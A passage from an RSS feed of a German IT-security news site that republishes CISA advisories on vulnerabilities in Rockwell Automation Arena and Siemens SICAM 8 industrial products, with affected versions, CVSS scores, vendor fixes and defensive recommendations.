engineering/IT, and CIOs/CTOs/CISOs, among other functions, across technology/software, retail/consumer, healthcare/life sciences, manufacturing, and other industries.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Rockwell Automation Arena]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation these vulnerabilities could allow an attacker to execute arbitrary code in the context of the current process.
The following versions of Rockwell Automation Arena are affected:

Arena]]></description>
<link>https://tsecurity.de/de/3674160/it-security-nachrichten/rockwell-automation-arena/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674160/it-security-nachrichten/rockwell-automation-arena/</guid>
<pubDate>Thu, 16 Jul 2026 18:42:05 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-197-01.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation these vulnerabilities could allow an attacker to execute arbitrary code in the context of the current process.</strong></p>
<p>The following versions of Rockwell Automation Arena are affected:</p>
<ul>
<li>Arena &lt;=V17.00.00 (CVE-2026-8085, CVE-2026-8312, CVE-2026-8313, CVE-2026-8314)</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 7.8</td>
<td>Rockwell Automation</td>
<td>Rockwell Automation Arena</td>
<td>Out-of-bounds Write</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>United States</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-8085</a></h3>
<div class="csaf-accordion-content">
<p>A security issue exists within Arena Simulation due to a memory corruption vulnerability in the model.exe (Siman) component. The vulnerability stems from improper validation of user-supplied data, which can result in an out-of-bounds write. An attacker could leverage this vulnerability to execute arbitrary code in the context of the current process by convincing a user to open a malicious file.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-8085">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Rockwell Automation Arena</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Rockwell Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>Rockwell Automation Arena: &lt;=V17.00.00</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Rockwell Automation recommends users to update to V17.00.01</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-8312</a></h3>
<div class="csaf-accordion-content">
<p>A security issue exists within Arena Simulation due to a memory corruption vulnerability in the expmt.exe (Siman) component. The vulnerability stems from improper validation of user-supplied data, which can result in an out-of-bounds write. An attacker could leverage this vulnerability to execute arbitrary code in the context of the current process by convincing a user to open a malicious file.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-8312">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Rockwell Automation Arena</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Rockwell Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>Rockwell Automation Arena: &lt;=V17.00.00</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Rockwell Automation recommends users to update to V17.00.01</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-8313</a></h3>
<div class="csaf-accordion-content">
<p>A security issue exists within Arena Simulation due to a memory corruption vulnerability in the linker.exe (Siman) component. The vulnerability stems from improper validation of user-supplied data, which can result in an out-of-bounds write. An attacker could leverage this vulnerability to execute arbitrary code in the context of the current process by convincing a user to open a malicious file.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-8313">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Rockwell Automation Arena</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Rockwell Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>Rockwell Automation Arena: &lt;=V17.00.00</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Rockwell Automation recommends users to update to V17.00.01</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-8314</a></h3>
<div class="csaf-accordion-content">
<p>A security issue exists within Arena Simulation due to a memory corruption vulnerability in the siman.exe (Siman) component. The vulnerability stems from improper validation of user-supplied data, which can result in an out-of-bounds write. An attacker could leverage this vulnerability to execute arbitrary code in the context of the current process by convincing a user to open a malicious file.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-8314">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Rockwell Automation Arena</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Rockwell Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>Rockwell Automation Arena: &lt;=V17.00.00</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Rockwell Automation recommends users to update to V17.00.01</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Michael Heinzl reported these vulnerabilities to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-16</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-16</td>
<td>1</td>
<td>Initial Publication</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Siemens SICAM 8]]></title>
<description><![CDATA[View CSAF
Summary
Multiple SICAM 8 products are affected by multiple vulnerabilities that could lead to denial of service, namely: - SICAM A8000 Device firmware - CPCI85 for CP-8031/CP-8050 - SICORE for CP-8010/CP-8012 - SICAM EGS Device firmware - CPCI85 - SICAM S8000 - SICORE Siemens has releas...]]></description>
<link>https://tsecurity.de/de/3674159/it-security-nachrichten/siemens-sicam-8/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674159/it-security-nachrichten/siemens-sicam-8/</guid>
<pubDate>Thu, 16 Jul 2026 18:42:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-197-05.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Multiple SICAM 8 products are affected by multiple vulnerabilities that could lead to denial of service, namely: - SICAM A8000 Device firmware - CPCI85 for CP-8031/CP-8050 - SICORE for CP-8010/CP-8012 - SICAM EGS Device firmware - CPCI85 - SICAM S8000 - SICORE Siemens has released new versions for the affected products and recommends to update to the latest versions.</strong></p>
<p>The following versions of Siemens SICAM 8 are affected:</p>
<ul>
<li>CPCI85 Central Processing/Communication vers:intdot/&lt;26.20 (CVE-2026-54798, CVE-2026-54799, CVE-2026-54800, CVE-2026-54801)</li>
<li>SICORE Base system vers:intdot/&lt;26.20.0 (CVE-2026-54798, CVE-2026-54799, CVE-2026-54800, CVE-2026-54801)</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 7.2</td>
<td>Siemens</td>
<td>Siemens SICAM 8</td>
<td>Active Debug Code, Initialization of a Resource with an Insecure Default, Unverified Password Change</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing, Energy</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Germany</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-54798</a></h3>
<div class="csaf-accordion-content">
<p>The affected application includes a debugging interface that is accessible through HTTP endpoints. This could allow an authenticated attacker to disrupt the system by crashing the web process causing denial of service conditions.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-54798">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SICAM 8</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CPCI85 Central Processing/Communication &lt; V26.20, SICORE Base system &lt; V26.20.0</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V26.20 or later version The firmware CPCI85 V26.20 is present within “CP-8031/CP-8050 Package” V26.20 https://support.industry.siemens.com/cs/ww/en/view/109804985/ and also within “SICAM EGS Package” V26.20 https://support.industry.siemens.com/cs/document/109972536/</p>
<p><strong>Vendor fix</strong><br>Update to V26.20.0 or later version The firmware SICORE V26.20.0 is present within “CP-8010/CP-8012 Package” V26.20 https://support.industry.siemens.com/cs/ww/en/view/109972894/ and also within “SICAM S8000 Package” V26.20 https://support.industry.siemens.com/cs/document/109818240</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/489.html">CWE-489 Active Debug Code</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-54799</a></h3>
<div class="csaf-accordion-content">
<p>The affected application contains a vulnerability in its firmware update mechanism's signature validation process. This could allow an attacker to install malicious firmware, leading to persistent code execution and system compromise.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-54799">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SICAM 8</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CPCI85 Central Processing/Communication &lt; V26.20, SICORE Base system &lt; V26.20.0</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V26.20 or later version The firmware CPCI85 V26.20 is present within “CP-8031/CP-8050 Package” V26.20 https://support.industry.siemens.com/cs/ww/en/view/109804985/ and also within “SICAM EGS Package” V26.20 https://support.industry.siemens.com/cs/document/109972536/</p>
<p><strong>Vendor fix</strong><br>Update to V26.20.0 or later version The firmware SICORE V26.20.0 is present within “CP-8010/CP-8012 Package” V26.20 https://support.industry.siemens.com/cs/ww/en/view/109972894/ and also within “SICAM S8000 Package” V26.20 https://support.industry.siemens.com/cs/document/109818240</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/489.html">CWE-489 Active Debug Code</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-54800</a></h3>
<div class="csaf-accordion-content">
<p>The affected application ships with a default configuration that disables all OPC UA security mechanisms. This could allow an attacker to gain unauthorized access and control over critical system functions.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-54800">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SICAM 8</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CPCI85 Central Processing/Communication &lt; V26.20, SICORE Base system &lt; V26.20.0</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V26.20 or later version The firmware CPCI85 V26.20 is present within “CP-8031/CP-8050 Package” V26.20 https://support.industry.siemens.com/cs/ww/en/view/109804985/ and also within “SICAM EGS Package” V26.20 https://support.industry.siemens.com/cs/document/109972536/</p>
<p><strong>Vendor fix</strong><br>Update to V26.20.0 or later version The firmware SICORE V26.20.0 is present within “CP-8010/CP-8012 Package” V26.20 https://support.industry.siemens.com/cs/ww/en/view/109972894/ and also within “SICAM S8000 Package” V26.20 https://support.industry.siemens.com/cs/document/109818240</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/1188.html">CWE-1188 Initialization of a Resource with an Insecure Default</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.8</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-54801</a></h3>
<div class="csaf-accordion-content">
<p>The affected application contains insufficient validation of authentication credentials when processing administrative account modifications through the web API. This could allow an authenticated attacker to bypass security controls and gain unauthorized elevated privileges.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-54801">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SICAM 8</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CPCI85 Central Processing/Communication &lt; V26.20, SICORE Base system &lt; V26.20.0</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V26.20 or later version The firmware CPCI85 V26.20 is present within “CP-8031/CP-8050 Package” V26.20 https://support.industry.siemens.com/cs/ww/en/view/109804985/ and also within “SICAM EGS Package” V26.20 https://support.industry.siemens.com/cs/document/109972536/</p>
<p><strong>Vendor fix</strong><br>Update to V26.20.0 or later version The firmware SICORE V26.20.0 is present within “CP-8010/CP-8012 Package” V26.20 https://support.industry.siemens.com/cs/ww/en/view/109972894/ and also within “SICAM S8000 Package” V26.20 https://support.industry.siemens.com/cs/document/109818240</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/620.html">CWE-620 Unverified Password Change</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.2</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Siemens reported these vulnerabilities to CISA.</li>
</ul>
<hr>
<h2>General Recommendations</h2>
<p>Operators of critical power systems (e.g. TSOs or DSOs) worldwide are usually required by regulations to build resilience into the power grids by applying multi-level redundant secondary protection schemes. It is therefore recommended that the operators check whether appropriate resilient protection measures are in place. The risk of cyber incidents impacting the grid's reliability can thus be minimized by virtue of the grid design. Siemens strongly recommends applying the provided security updates using the corresponding tooling and documented procedures made available with the product. If supported by the product, an automated means to apply the security updates across multiple product instances may be used. Siemens strongly recommends prior validation of any security update before being applied, and supervision by trained staff of the update process in the target environment. As a general security measure Siemens strongly recommends to protect network access with appropriate mechanisms (e.g. firewalls, segmentation, VPN). It is advised to configure the environment according to our operational guidelines in order to run the devices in a protected IT environment. Recommended security guidelines can be found at: https://www.siemens.com/gridsecurity</p>
<hr>
<h2>Additional Resources</h2>
<p>For further inquiries on security vulnerabilities in Siemens products and solutions, please contact Siemens: https://www.siemens.com/cert/advisories</p>
<hr>
<h2>Terms of Use</h2>
<p>The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.</p>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability. Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet. Locate control system networks and remote devices behind firewalls and isolate them from business networks. When remote access is required, use more secure methods, such as virtual private networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<hr>
<h2>Advisory Conversion Disclaimer</h2>
<p>This ICSA is a verbatim republication of Siemens SSA-229470 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens directly for any questions regarding this advisory.</p>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-09</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-09</td>
<td>1</td>
<td>Publication Date</td>
</tr>
<tr>
<td>2026-07-16</td>
<td>2</td>
<td>Initial CISA Republication of Siemens SSA-229470 advisory</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Rockwell Automation Flex 5000 Adapter]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of this vulnerability could allow an attacker to cause a denial-of-service condition on the affected product.
The following versions of Rockwell Automation Flex 5000 Adapter are affected:

Flex 5000 Adapter 6.011 (CVE-2026-12659)





CVSS
Vendor
Equipmen...]]></description>
<link>https://tsecurity.de/de/3674158/it-security-nachrichten/rockwell-automation-flex-5000-adapter/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674158/it-security-nachrichten/rockwell-automation-flex-5000-adapter/</guid>
<pubDate>Thu, 16 Jul 2026 18:42:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-197-08.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
